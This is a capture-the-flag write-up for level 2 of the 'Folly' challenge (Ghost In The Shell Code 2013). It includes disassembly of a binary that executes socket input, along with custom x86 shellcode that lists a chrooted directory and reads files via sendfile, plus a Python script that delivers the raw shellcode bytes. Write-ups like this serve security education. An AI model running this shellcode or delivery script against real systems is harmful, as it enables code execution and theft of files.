folly-b2632babf6ce9c2378630e364150ee2c84f47b73: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, stripped
Folly was a multi-level challenge from the Ghost In The Shell Code CTF. This Write-up is for Level 2 based on the X86 architecture.
It’s a sample text-game like this:
Hola! I am Sancho, who are you?
Don Quixote de la Mancha
Hello! Are you ready for your adventure?
Sire, what should we do?
(S)earch for your lady love, Dulcinea del Toboso
(A)ttack Giants
(M)ount Rocinante
(Q)uit
>M
Sire! Let me help you onto your steed.
Sire, what should we do?
(S)earch for your lady love, Dulcinea del Toboso
(A)ttack Giants
(M)ount Rocinante
(Q)uit
>A
Just then they came in sight of thirty or forty windmills that rise from that plain.And no sooner did Don Quixote see them that he said to his squire, "Fortune is guiding our affairsbetter than we ourselves could have wished. Do you see over yonder, friend Sancho, thirty or fortyhulking giants? I intend to do battle with them and slay them. With their spoils we shall begin tobe rich for this is a righteous war and the removal of so foul a brood from off the face of the earth is a service God will bless."
"What giants?" asked Sancho Panza.
"Those you see over there," replied his master, "with their long arms. Some of them have arms well nigh two leagues in length."
"Take care, sir," cried Sancho. "Those over there are not giants but windmills. Those things that seem to be their arms are sails which, when they are whirled around by the wind, turn the millstone."
What will you shout as you attack the giants?
TEST
Sire, what should we do?
(S)earch for your lady love, Dulcinea del Toboso
(A)ttack Giants
(M)ount Rocinante
(Q)uit
>Q
You have to first “Mount Rocinante” before you can “Attack Giants”. Let’s focus on the attack:
First a RWE buffer is allocated with mmap:
.text:0804902D mov dword ptr [esp+10h], 0FFFFFFFFh
.text:08049035 mov dword ptr [esp+0Ch], 22h ; flags
.text:0804903D mov dword ptr [esp+8], 7 ; prot RWE
.text:08049045 mov dword ptr [esp+4], 1000h ; len
.text:0804904D mov dword ptr [esp], 0 ; addr
.text:08049054 call _mmap
At most 1024 bytes is read from the socket to this buffer:
.text:0804905C mov dword ptr [esp+0Ch], 0Ah ; int
.text:08049064 mov dword ptr [esp+8], 400h ; int
.text:0804906C mov eax, [ebp+addr]
.text:0804906F mov [esp+4], eax ; int
.text:08049073 mov eax, [ebp+fd]
.text:08049076 mov [esp], eax ; fd
.text:08049079 call readUntil
Code checks if the buffer starts with 0xe7ab444b:
.text:08049081 mov [ebp+var_10], eax
.text:08049084 mov eax, [ebp+var_10]
.text:08049087 mov eax, [eax]
.text:08049089 cmp eax, 0E7AB444Bh
It it does, the code calls the buffer (jumping over the 4 bytes signature at the beginning):
.text:08049093 add eax, 4
.text:08049096 mov [ebp+var_14], eax
.text:08049099 mov eax, [ebp+fd]
.text:0804909C mov [esp], eax
.text:0804909F mov eax, [ebp+var_14]
.text:080490A2 call eax
Simple right ? Almost except a few details:
– chroot() is used to restrict the process to its home directory
– there is no shell (/bin/sh) in the chroot
– you cannot escape the chroot with the classic mkdir()/chroot() trick
We started with a custom shellcode that would open a “key” file and send it to the socket but there was no “key” file.
So we designed a custom open()+getdents() x86 shellcode. Here it is:
GLOBAL _start
_start:
jmp get_eip
run:
xor eax, eax
xor edi, edi
inc edi
inc edi
inc edi
inc edi
; fd = sys_open(".", 0, 0)
add eax, edi ; sys_open
inc eax
pop ebx ; filename
xor ecx, ecx ; flags = 0
xor edx, edx ; mode = 0
int 0x80
test eax,eax ; file exists?
jz error
mov ebx, eax ; fd
; getdents(fd,esp,0x1337)
mov edx, 0x1337 ;size
sub esp, edx ;make room on the stack
mov ecx, esp ;buffer
mov eax, 0x8d ;sys_getdents
int 0x80
mov edx, eax ;size
; close(fd)
mov eax, edi ; 4 + 2
inc eax
inc eax
int 0x80 ; fd in ebx
; sys_write
mov ecx, esp ; buffer
mov ebx, edi ; fd 4
mov eax, edi ; sys_write
int 0x80 ; size in edx
add esp, edx
error:
; sys_exit
xor eax, eax
inc eax
xor ebx,ebx
int 0x80
get_eip:
call run
filename:
db '.', 0x0
And the python part, with a decoder for the raw getdents buffer that we send:
from struct import pack, unpack
def decode_getdents(getdents):
index = 0
while True:
entry_len = unpack('<H', getdents[index+8:index+10])[0]
getdent = getdents[index:index+entry_len+1]
inode = unpack('<I', getdent[0:4])[0]
filename = getdent[10:10+entry_len-2]
yield inode, filename
index += entry_len
if index == len(getdents):
break
host = 'folly.2013.ghostintheshellcode.com'
port = 5673
tn = telnetlib.Telnet(host, port)
tn.read_until("Hola! I am Sancho, who are you?")
tn.write("Don Quixote de la Mancha\n")
tn.read_until(">")
tn.write("M\n")
tn.read_until(">")
tn.write("A\n")
tn.read_until("What will you shout as you attack the giants?")
# Level 5673
buffer = pack('<I', 0x0E7AB444B)
# custom open('.')+getdents()+write()
shellcode = "\xe9\x41\x00\x00\x00\x31\xc0\x31\xff\x47\x47\x47\x47\x01\xf8\x40\x5b\x31\xc9\x31\xd2\xcd\x80\x85\xc0\x74\x24\x89\xc3\xba\x37\x13\x00\x00\x29\xd4\x89\xe1\xb8\x8d\x00\x00\x00\xcd\x80\x89\xc2\x89\xf8\x40\x40\xcd\x80\x89\xe1\x89\xfb\x89\xf8\xcd\x80\x01\xd4\x31\xc0\x40\x31\xdb\xcd\x80\xe8\xba\xff\xff\xff\x2e\x00"
print "shellcode len=", len(shellcode)
buffer += shellcode
s = tn.get_socket()
s.send(buffer + "\n")
for (inode, filename) in decode_getdents(s.recv(0x1337)):
print inode, filename
data = True
while data:
data = s.recv(1024)
if data:
print repr(data)
Result:
shellcode len= 77
531277 ..
531278 .
531279 flag
So the file is called “flag”, let’s get it with a custom X86 sendfile() shellcode:
GLOBAL _start
_start:
jmp short get_eip
run:
xor eax, eax
inc eax
inc eax
inc eax
inc eax
mov edi, eax
xor edx, edx
; fd = sys_open(filename, 0, 0)
mov eax, edi
inc eax ; sys_open
pop ebx ; filename
xor ecx, ecx ; flags = 0
xor edx, edx ; mode = 0
int 0x80
; sendfile(int out_fd, int in_fd, off_t *offset, size_t count)
mov ecx, eax ; in_fd
xor eax, eax
mov al, 0xbb ; sendfile() syscall
mov ebx, edi ; out_fd
xor edx, edx ; offset = 0
mov esi, edi
shl esi, 8 ; size (4 << 8 = 1024)
int 0x80
; sys_exit(0)
xor eax, eax
mov al, 1 ;exit the shellcode
xor ebx,ebx
int 0x80
get_eip:
call run ; put address of our message onto the stack
filename:
db 'flag', 0x0
Result:
shellcode len= 61
'There is no book so bad...that it does not have something good in it.\n\nHowever, our adventure still awaits!\n\n2013.ghostintheshellcode.com/folly-9a062bfbc9c4bd0aaafbc80dbc9facc942319b73\nfolly.2013.ghostintheshellcode.com:5674\n'